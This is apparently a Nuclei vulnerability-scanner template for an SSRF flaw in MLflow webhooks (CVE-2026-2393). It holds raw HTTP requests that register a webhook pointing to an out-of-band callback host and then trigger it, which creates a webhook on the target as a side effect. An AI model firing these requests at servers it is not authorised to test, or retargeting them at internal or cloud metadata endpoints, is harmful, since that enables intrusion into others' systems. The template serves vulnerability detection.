id: CVE-2026-2393

info:
  name: "MLflow - Server-Side Request Forgery via Webhook"
  author: vedas-arpsyndicate
  severity: high
  description: |
    MLflow prior to 3.9.0 is vulnerable to Server-Side Request Forgery through its webhook feature.
    The webhook creation endpoint (POST /api/2.0/mlflow/webhooks) accepts an attacker-controlled
    `url` field without scheme or destination validation, and the webhook test endpoint
    (POST /api/2.0/mlflow/webhooks/{webhook_id}/test) makes the MLflow backend issue an HTTP request
    to that URL. An attacker can coerce the server into contacting internal services or cloud
    metadata endpoints. The tracking server ships without authentication by default.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-2393&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mlflow&match=exact
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 7.1
    cve-id: CVE-2026-2393
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 2
  tags: cve,cve2026,mlflow,ssrf,oast

http:
  - raw:
      - |
        POST /api/2.0/mlflow/webhooks HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"vedas-{{randstr}}","url":"http://{{interactsh-url}}","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
      - |
        POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    extractors:
      - type: regex
        name: webhook_id
        part: body
        internal: true
        group: 1
        regex:
          - '"webhook_id":\s*"([^"]+)"'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
      - type: dsl
        dsl:
          - 'contains(body_1, "webhook_id")'